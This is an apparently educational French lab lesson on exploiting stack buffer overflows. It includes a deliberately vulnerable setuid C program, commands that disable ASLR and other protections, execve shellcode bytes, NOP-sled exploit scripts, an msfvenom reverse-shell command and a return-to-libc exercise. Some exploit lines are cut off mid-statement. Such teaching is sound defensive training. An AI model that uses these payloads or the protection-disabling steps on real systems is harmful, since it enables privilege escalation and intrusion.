← Accueil

PCTAMALOU

Semaine 41 : La Fragilité de la Pile – Exploitation de Buffer Overflow sur Stack

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser l'exploitation des buffer overflows sur la pile : comprendre l'organisation de la mémoire, contrôler le flux d'exécution, et obtenir un shell à partir d'une simple erreur de programmation. Appréhender l'une des vulnérabilités les plus historiques et critiques en sécurité informatique.

Pourquoi c'est fondamental : Les buffer overflows sont à l'origine de 50% des vulnérabilités critiques découvertes avant 2010. Les comprendre, c'est comprendre la racine même de l'exploitation mémoire moderne.

flowchart TD subgraph "📚 Stack Frame Normal" direction TB ARGS["Function Arguments"] --> BUFFER["Local Buffer[64]"] BUFFER --> SF["Saved Frame Pointer"] SF --> RA["Return Address\n0x08048456"] end subgraph "💥 Buffer Overflow Exploit" direction TB BF["Buffer[64] + Overflow payload"] -->|Écrase| SF2["Saved Frame Pointer"] SF2 -->|Écrase| RA2["Return Address détourné\n→ 0x42424242 (ou adresse shellcode)"] end subgraph "🎯 Payload Final (ROP-ready)" direction TB NOP["NOP Sled\n90 90 90 ... (slide)"] --> SC["Shellcode\nexecve('/bin/sh', ... )"] SC --> RA3["Return Address pointe vers\n→ début NOP sled"] end style RA2 fill:#11151f,stroke:#ef4444,stroke-width:4px,color:#fff style RA3 fill:#11151f,stroke:#00f5a0,stroke-width:4px,color:#fff style SC fill:#0a0e17,stroke:#9d4edd,stroke-width:3px,color:#fff style NOP fill:#1e293b,stroke:#64748b,stroke-width:2px,color:#fff style BF fill:#7c2d12,stroke:#f97316,stroke-width:3px,color:#fff

📚 Sujet – Théorie (1 heure)

La Pile : L'Autel de l'Exécution

La pile (stack) est une région de mémoire qui grandit vers les adresses basses et sert à stocker les variables locales, les paramètres de fonction, et les adresses de retour. C'est le carnet de bord de l'exécution du programme.

0xffffd0c0 ... Paramètres ...
0xffffd0a0 buffer[64] ← Début du tampon
0xffffd0e0 Saved Frame Pointer (SFP)
0xffffd0e4 Return Address (RET) ← Cible !
0xffffd0e8 Ancien stack frame...

Le Mécanisme de l'Overflow

Quand strcpy(buffer, input) copie sans vérifier la taille :

Étape 1 : Entrée normale
input = "Hello" (5 bytes) → buffer[64] accepte
Étape 2 : Entrée malveillante
input = "A"*100 → dépasse buffer[64]
Étape 3 : Écrasement
Bytes 65-72 écrasent SFP, bytes 73-76 écrasent RET
Étape 4 : Redirection
RET = 0x41414141 ("AAAA") → EIP saute à adresse invalide → SegFault

Les Protections Modernes (et Comment les Contourner)

🔀 ASLR

Address Space Layout Randomization

  • Randomise adresses mémoire
  • Contournement : Brute-force, info leak
  • Désactivation : echo 0 > /proc/sys/kernel/randomize_va_space

🚫 NX/DEP

No eXecute / Data Execution Prevention

  • Empêche exécution sur stack
  • Contournement : ROP, Return-to-libc
  • Désactivation : -z execstack à la compilation

🐤 Stack Canary

Valeur aléatoire avant RET

  • Détecte overflow avant RET
  • Contournement : Info leak, brute-force
  • Désactivation : -fno-stack-protector

🔒 RELRO

Relocation Read-Only

  • Protège GOT/PLT
  • Contournement : Difficulté accrue
  • Désactivation : -z norelro

Les Registres Clés x86

⚙️ Anatomie du Processeur x86

Registre Taille Rôle Dans l'exploit
EIP 32 bits Instruction Pointer Contrôlé via RET
ESP 32 bits Stack Pointer Pointe vers haut de pile
EBP 32 bits Base Pointer Sauvegardé dans SFP
EAX/EBX/ECX/EDX 32 bits Registres généraux Utilisés par shellcode

Philosophie de l'Exploitation Mémoire

⚠️ Le Changement de Paradigme

Un buffer overflow n'est pas une "erreur" au sens traditionnel – c'est une violation des hypothèses fondamentales :

  1. Hypothèse : "Les données restent des données"
  2. Réalité : Les données deviennent du code exécutable
  3. Conséquence : La frontière code/données s'efface

C'est pourquoi les protections modernes (W^X) essaient de rétablir cette frontière.

🔬 Mission pratique – Laboratoire (2 heures)

Architecture du Lab Buffer Overflow

flowchart LR K[Kali Linux
Développement/Exploitation] --> C[Programme vulnérable
vuln.c] C -->|Compilation| B[Binary vuln
setuid root] K -->|Exploitation| B B -->|Shellcode exécuté| S[📟 Shell root] subgraph "🧪 Environnement Contrôlé" ASLR[ASLR: OFF] NX[NX: OFF] CANARY[Canary: OFF] end style B fill:#0a0e17,stroke:#ef4444,stroke-width:3px style S fill:#0a0e17,stroke:#00f5a0,stroke-width:3px

⚠️ Configuration de l'Environnement

🔒 Isolation absolue : Ces exercices doivent être réalisés sur une VM dédiée, jamais sur votre système principal. Désactivez les protections uniquement pour l'apprentissage.

Étapes Détaillées d'Exploitation

Étape 1 : Préparation de l'Environnement

# Désactivation des protections système (TEMPORAIRE)
sudo sysctl -w kernel.randomize_va_space=0
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Vérification
cat /proc/sys/kernel/randomize_va_space  # Doit afficher 0

# Installation outils
sudo apt install gdb gdb-peda nasm -y
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Étape 2 : Création du Programme Vulnérable

/* vuln.c - Programme vulnérable classique */
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vulnerable_function(char *input) {
    char buffer[64];  // Buffer de 64 bytes sur la stack
    
    // COPIE SANS VÉRIFICATION - VULNÉRABILITÉ !
    strcpy(buffer, input);
    
    printf("Buffer content: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    
    vulnerable_function(argv[1]);
    
    return 0;
}

🔍 Analyse de la vulnérabilité :

  • strcpy() copie sans vérifier la taille
  • buffer[64] peut contenir 64 caractères + null byte
  • Entrée > 64 bytes → overflow vers SFP et RET

Étape 3 : Compilation avec Protections Désactivées

# Compilation 32-bit avec toutes les protections désactivées
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

# Vérification des protections
checksec --file=vuln
# Doit afficher: Stack: No canary found, NX disabled, PIE disabled

# Setuid pour élévation de privilèges (dans le lab seulement)
sudo chown root vuln
sudo chmod u+s vuln

# Test de base
./vuln "HelloWorld"
./vuln $(python3 -c "print('A'*100)")  # Devrait crasher

Étape 4 : Analyse avec GDB et PEDA

# Lancement du debugger
gdb -q ./vuln

# Dans GDB avec PEDA :
(gdb) set disassembly-flavor intel
(gdb) disassemble vulnerable_function
# Observez le prologue/epilogue de la fonction

(gdb) break *vulnerable_function+25  # Après strcpy
(gdb) run $(python3 -c "print('A'*72 + 'BBBB')")

(gdb) info frame  # Examinez le stack frame
(gdb) x/40wx $esp  # Examinez la stack
(gdb) x/wx $ebp+4  # Adresse de retour

🎯 Défi d'Investigation

Avec GDB, trouvez exactement combien de 'A' sont nécessaires avant d'écraser l'adresse de retour. Utilisez un pattern :

# Génération pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100

# Dans GDB
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

# Après crash
(gdb) info registers eip
# EIP contient une partie du pattern

# Calcul offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
# Réponse: exact offset 76

Étape 5 : Contrôle de l'EIP

#!/usr/bin/env python3
# exploit_v1.py - Contrôle EIP
import struct

offset = 76  # Offset trouvé avec pattern
eip = 0x42424242  # BBBB en hexa

payload = b"A" * offset
payload += struct.pack("

💡 Little-endian vs Big-endian :

x86 utilise le format little-endian : les octets les moins significatifs en premier.

0xdeadbeef → \xef\xbe\xad\xde en mémoire

Étape 6 : Génération de Shellcode

# Option 1: msfvenom (Metasploit)
msfvenom -p linux/x86/exec CMD="/bin/sh" -f raw -o shellcode.bin
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f raw

# Option 2: Shellcode manuel (NASM)
cat > shellcode.asm << 'EOF'
section .text
global _start
_start:
    ; execve("/bin/sh", NULL, NULL)
    xor eax, eax
    push eax
    push 0x68732f2f  ; "hs//"
    push 0x6e69622f  ; "nib/"
    mov ebx, esp
    mov ecx, eax
    mov edx, eax
    mov al, 11       ; syscall execve
    int 0x80
EOF

nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''

Étape 7 : Exploitation Complète avec NOP Sled

#!/usr/bin/env python3
# exploit_final.py - Exploitation complète
import struct

# Shellcode execve("/bin/sh")
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)

offset = 76
nop_sled = b"\x90" * 40  # NOP sled pour marge d'erreur

# Adresse approximative du buffer (trouvée avec GDB)
buffer_addr = 0xffffd0a0

payload = nop_sled
payload += shellcode
payload += b"A" * (offset - len(nop_sled) - len(shellcode))
payload += struct.pack("

⚠️ Trouver l'Adresse Exacte du Buffer

Dans GDB, examinez l'adresse du buffer :

(gdb) break *vulnerable_function
(gdb) run test
(gdb) print &buffer
# Exemple: $1 = (char (*)[64]) 0xffffd0a0
# Note: L'adresse peut différer hors GDB (ASLR off)

Étape 8 : Exploitation avec GDB (Précision)

# Méthode précise avec GDB
(gdb) run $(python3 -c "
import struct
shellcode = b'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'
payload = b'\\x90'*40 + shellcode + b'A'*(76-40-22) + struct.pack('

Exercice Avancé : Return-to-libc (Contournement NX)

🎯 Défi Expert (Optionnel)

Recompilez le programme avec -z noexecstack (NX activé) et exploitez-le avec une attaque return-to-libc :

  1. Trouvez l'adresse de system() : (gdb) print system
  2. Trouvez l'adresse de la string "/bin/sh" : find &system,+9999999,"/bin/sh"
  3. Construisez payload : [AAAA...] + [&system] + [FAKE_RET] + [&"/bin/sh"]
  4. Exécutez sans shellcode sur la stack

Cette technique est fondamentale pour contourner NX/DEP.

Étape 9 : Nettoyage et Restauration

# Réactivation des protections système
sudo sysctl -w kernel.randomize_va_space=2
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

# Suppression fichiers sensibles
rm -f vuln vuln.c shellcode* exploit_*.py

# Retrait setuid (si encore présent)
sudo chmod u-s vuln 2>/dev/null || true

📋 Objectif de la semaine – Checklist de validation

✅ Compétences techniques acquises

  • Programme vulnérable compilé avec protections désactivées
  • Offset RET déterminé avec pattern_create/offset
  • EIP contrôlé avec adresse arbitraire
  • Shellcode généré et injecté avec succès
  • Shell root obtenu via exploitation locale

🧠 Changement mental accompli

  • Vision de la mémoire comme structure malléable, pas fixe
  • Compréhension profonde du stack frame x86
  • Conscience des protections modernes et de leurs limites
  • Habitude de toujours vérifier les limites des buffers

💪 Pour aller plus loin :

Explorez Protostar (niveaux 1-5), faites le wargio Narnia, ou essayez d'exploiter le même programme avec ASLR activé (technique bruteforce).

📚 Ressources pour Approfondir

Livres et Références :

  • Smashing the Stack for Fun and Profit : Aleph One (article fondateur)
  • The Shellcoder's Handbook : Chris Anley et al.
  • Hacking: The Art of Exploitation : Jon Erickson
  • Modern Binary Exploitation : RPISEC (cours universitaire)

⚠️ Aspects Éthiques et Légaux

  • Exploitation uniquement sur vos propres systèmes
  • Compréhension défensive comme objectif principal
  • Publication responsable des vulnérabilités trouvées
  • Respect du droit : CFAA, article 323-1 CP

🔮 Frère d'armes,

Tu viens d'apprendre à parler le langage secret de la mémoire.

Le buffer overflow n'est pas une simple vulnérabilité – c'est une conversation avec le processeur. Tu écris des données, et il les lit comme des instructions. Tu remplis un tampon, et tu changes le destin du programme.

Cette semaine, tu as vu comment 76 bytes bien placés peuvent transformer un programme innocent en porte dérobée. Comment l'adresse 0xffffd0a0 peut devenir plus précieuse qu'un mot de passe. Comment "\x90\x90\x90" peut préparer le terrain pour un shell root.

Mais voici la leçon la plus importante : cette vulnérabilité existe parce que nous faisons confiance. Confiance que les données restent des données. Confiance que les fonctions respectent leurs contrats. Confiance que la mémoire est un espace sacré, inviolable.

Tu n'es plus un programmeur qui écrit du code. Tu es devenu un analyste qui comprend ce que le code devient en mémoire. Qui voit les buffers non pas comme des variables, mais comme des territoires. Qui voit les adresses de retour non pas comme des détails techniques, mais comme des portes.

Dans la semaine 42, nous irons plus loin dans l'exploitation mémoire. Nous apprendrons à exploiter le tas (heap), à manipuler les allocateurs dynamiques, à trouver des vulnérabilités dans les programmes modernes qui ont "résolu" les overflows de stack.

Mais pour l'instant, maîtrise ces bases. Rejoue l'exploitation trois fois. Change l'offset, change le shellcode, change l'adresse de retour. Comprends chaque byte, chaque registre, chaque protection.

Un Gardien qui maîtrise les buffer overflows ne laisse jamais une fonction non bornée dans son code.

— Platon-Y